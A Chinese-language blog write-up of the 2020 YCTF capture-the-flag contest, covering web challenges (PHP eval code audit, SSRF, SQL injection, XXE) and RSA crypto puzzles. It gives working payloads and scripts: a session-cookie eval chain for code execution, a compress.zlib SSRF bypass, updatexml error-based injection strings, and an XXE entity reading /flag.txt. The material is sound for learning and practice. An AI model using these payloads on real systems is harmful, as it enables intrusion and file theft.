follow my dream

2020-yctf

字数统计: 1.8k阅读时长: 9 min
2020/04/06 Share

待补,还有一部分没写

web

代码审计

http://124.193.74.212:48206/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_GET['var'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
eval($_GET['var']);
}
}
else{
die("Sorry!");
}
}
else{
show_source(__FILE__);
}
?>

原题

整体思路是绕过第一层正则匹配,之后利用 eval($_GET['var']) 和SESSION 来实现RCE

  • 正则匹配部分

分析';' === preg_replace('/[^\W]+\((?R)?\)/'

**[^\W]:**等价于a-z,A-z,0-9,

((?R)?):匹配括号,并且重复整个正则匹配模式

也就是类似a(b(c()));这类的值可以匹配成功,即函数无参。

  • wp
1
2
3
4
5
6
7
8
import requests
url = "http://124.193.74.212:48206/?var=eval(hex2bin(session_id(session_start())));"
payload ="print_r(file_get_contents('/flag.txt'));".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
1
session_start(session_id); //返回PHPSESSID的内容

推荐阅读:

一叶飘零师傅的PHP Parametric Function RCE

这道题法四有效(即上面的方法),期待讨论其他方法的使用。

SSRF

http://124.193.74.212:7463

查看url为http://124.193.74.212:7463/index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==

将file值两次base64解码后,发现为ctfimage.jpg

一开始头铁,以为是一次编码

同时查看源代码

src='data:image,后为图片的base64

  • 查看index.php的代码

`?file=YVc1a1pYZ3VjR2h3

file值两次base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '<title>'.$_GET['file'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename: '. $file.'</br>';
$file = str_replace("ctf","flag", $file);
echo 'real_filename: '.$file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
* Hint: hal0flagi5here.php
*/

同样查看hal0flagi5here.php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
$r = parse_url($argv[1]);
print_r($r);
if(preg_match('/happyctf\.com$/',$r['host']))
{
$url=file_get_contents($argv[1]);
echo($url);
}else
{
echo("error");
}

}else
{
echo "403 Forbidden";
}
?>

绕过的方法网上查还是很多的

推荐:

https://www.jianshu.com/p/943fcdf65864

https://www.cnblogs.com/p0pl4r/p/10642857.html

?url=compress.zlib://file:@happyctf.com/../../flag.txt

发现其他师傅的理解思路更好

师傅们的wp

SQLI

http://124.193.74.212:28930/

有道相似题目,题目链接https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/RCTF2015/easysql其实是一样

此题思路,在网站中,有三个地方执行sql语句

url_1 = “http://124.193.74.212:28930/register.php"

url_2 = “http://124.193.74.212:28930/login.php"

url_3 = “http://124.193.74.212:28930/changepwd.php"

在测试过程中,发现login难注入。

url_3中,会执行类似

1
update user_info set password = "$newpass" where username = "$username" and "$oldname";

oldnamenewpass有检测。

所以我们可以利用 changepwdsql语句中的 username 来sql注入,这一点可以在index.php中发现,username没有过滤且可以报错。

index.php

  • register.php注册,
1
username=demo_1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#&password=xzaslxr
  • index.php获取cookie值。
  • changepwd.php处修改密码,即执行sql语句

changepwd

  • 之后重新注册账号,来进行下一步注入,获取列信息

username=xzlxr"||updatexml(1,concat(0x7e,((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),0x7e),1)#&password=hahaha

second

  • 查找数据库

username=xzlxr"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#&password=hahahaa

flag

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

url_reg = 'http://124.193.74.212:28930/register.php'
url_log = 'http://124.193.74.212:28930/login.php'
url_change = 'http://124.193.74.212:28930/changepwd.php'

pre = 'xzlxraaa"'
suf = ",0x7e),1)#"


s = ["||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))","||updatexml(1,concat(0x7e,((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))","||updatexml(1,concat(0x7e,(select(flag)from(flag))"]

r = requests.session()

def register(name):
data = {
'username' : name,
'password' : '123',
'email' : '123',
}
r.post(url=url_reg, data=data)

def login(name):
data = {
'username' : name,
'password' : '123',
}
r.post(url=url_log, data=data)

def changepwd():
data = {
'oldpass' : '',
'newpass' : '',
}
rsp = r.post(url=url_change, data=data)
if 'target' not in rsp.text:
print(rsp.text)



for i in s:
paylaod = pre + i + suf
register(paylaod)
login(paylaod)
changepwd()


XXE

http://124.193.74.212:11985/

根据提示下载upload.php.bak , 得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_POST["submit"])) {
$target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
try {
$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
$xml = new SimpleXMLElement($result, LIBXML_NOENT);
$xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
foreach($xml->xpath('//dc:title') as $title){
echo "Title '".$title . "' has been added.<br/>";
}
} catch (Exception $e){
echo $e;
echo "上传文件不是一个docx文档.";
}
} else {
echo "上传失败.";
}
}

补充知识

registerXPathNamespace() 为下一个 XPath 查询创建命名空间上下文.

代码大意:

reslut 内容 为 docx文件中docProps目录下的core.xml

再利用SimpleXML函数将XML 转换为对象、

registerXPathNamespace() 函数为下一个 XPath 查询创建命名空间上下文,

用xpath获取dc:title内容。

将simple.docx下载,并更改后缀名为.zip。后解压,可以看到目录为

1
2
3
4
5
6
7
Mode                LastWriteTime         Length Name
---- ------------- ------ ----
d----- 2020/4/1 0:51 customXml
d----- 2020/4/1 1:25 docProps
d----- 2020/4/1 0:51 word
d----- 2020/4/1 0:51 _rels
-a---- 1980/1/1 0:00 2476 [Content_Types].xml

payload:

docProps/core.xml添加通用实体xxe,内容为/flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "/flag.txt">]>
<cp:coreProperties
xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:dcmitype="http://purl.org/dc/dcmitype/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title>&xxe;</dc:title>
<dc:subject></dc:subject>
<dc:creator></dc:creator>
<cp:keywords></cp:keywords>
<dc:description></dc:description>
<cp:lastModifiedBy></cp:lastModifiedBy>
<cp:revision>1</cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified>
</cp:coreProperties>

将原来的文件夹重新压缩为.zip格式,并修改后缀名为.docx,上传即可

flag

CRYPTO

crypro题目,没准备保存

easyrsa

openssl 使用

使用私钥进行解密

1
2
root@kali:~/Documents# openssl rsautl -decrypt -in flag.en -inkey rsa_private_key.pem -passin pass:123456
flag{We1c0meCtf3r_elab}

RSAbackDoor

详解

拆解n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def gcd(a, b):
while b:
a, b = b, a%b
return a

def mapx(x):
x=(pow(x,n-1,n)+3)%n
return x

n=33774167600199691072470424898842928168570559940362770786060699320989546851695106466924163816843729828399984649770900793014896037884774039660562546937090412844276185560384964983508291174867808082182386566813393157054259464108858158903739578119760394228341564696225513954400995543629624209942565369972555679980359992955514826589781286738100616149226885302403505062415492679633217275379153421830105021673417544608398249866398042786421630495968810854036782025120509999022773806069591080190166920079688217334968528641747739241234353918892029263544388161160427668518991666960251381106788899451912317001247537576428186291689


x1=x2=1

while True:
x1=mapx(x1)
x2=mapx(mapx(x2))
p=gcd(x1-x2,n)
if (p!=1):
print(p)
print(n//p)
break

求解m

1
2
3
4
5
6
7
8
9
10
11
12
13
from gmpy2 import * 
import libnum
e = 65537
n = 33774167600199691072470424898842928168570559940362770786060699320989546851695106466924163816843729828399984649770900793014896037884774039660562546937090412844276185560384964983508291174867808082182386566813393157054259464108858158903739578119760394228341564696225513954400995543629624209942565369972555679980359992955514826589781286738100616149226885302403505062415492679633217275379153421830105021673417544608398249866398042786421630495968810854036782025120509999022773806069591080190166920079688217334968528641747739241234353918892029263544388161160427668518991666960251381106788899451912317001247537576428186291689
c =0xcd979917f492a04b86057a070923bd0b9eae2f1b81c75bf5d8a8fba9fc2084c00f2a697b409578abebdabcf337382d09145630f4040b0c5ff411171e577f563c3cfb4e22639e0755f76be976f7d7e68f05f87f78f178079354b4cec2a5cbea443439420be0b850d1fb696c5dea420594ad957ba96216cdb9d8f1f316adac64bc6eac5150b02540e5232d68bb69dc04363e2115d9120af2fd1c9ff2cd7588880333608110d687b22170540861a6e2308714d54cdee5cd5d28a16e37732e44c2208251513196a63d17bd4f7a69c526c118eebfbb77cf25e5e419fef6c59c0a17132b538d945dab3553751278ef415559f2d5afc30146d277555545c4d192c5e1b4
p = 177993461816075408240866752227210319316825574291000376727523991315086097605063837563342286560819823849610146713383370383386260295565108973920944593141677024612114517119831676665456754235233172344362610684938542774386956894066675103840244633202469661725050948177995671009070311486253646420435061175078660441183
q = 189749484366449861630736482622030204229600074936733397229668738586605895979811823994029500725448581332746860468289540041125768726148614579255062994177531727784605194094836998282676712435286273497842956368997116036170165393912022560935791934662695453870846024312915604049805219410140420469163797779129644454583

phi = (p-1)*(q-1)

d = invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(m))

flag{54d395c65a6f914941c9026bd7dbbbcbad8a588e}
[Finished in 0.3s]

CATALOG
  1. 1. web
    1. 1.1. 代码审计
    2. 1.2. SSRF
    3. 1.3. SQLI
    4. 1.4. XXE
  2. 2. CRYPTO
    1. 2.0.1. easyrsa
    2. 2.0.2. RSAbackDoor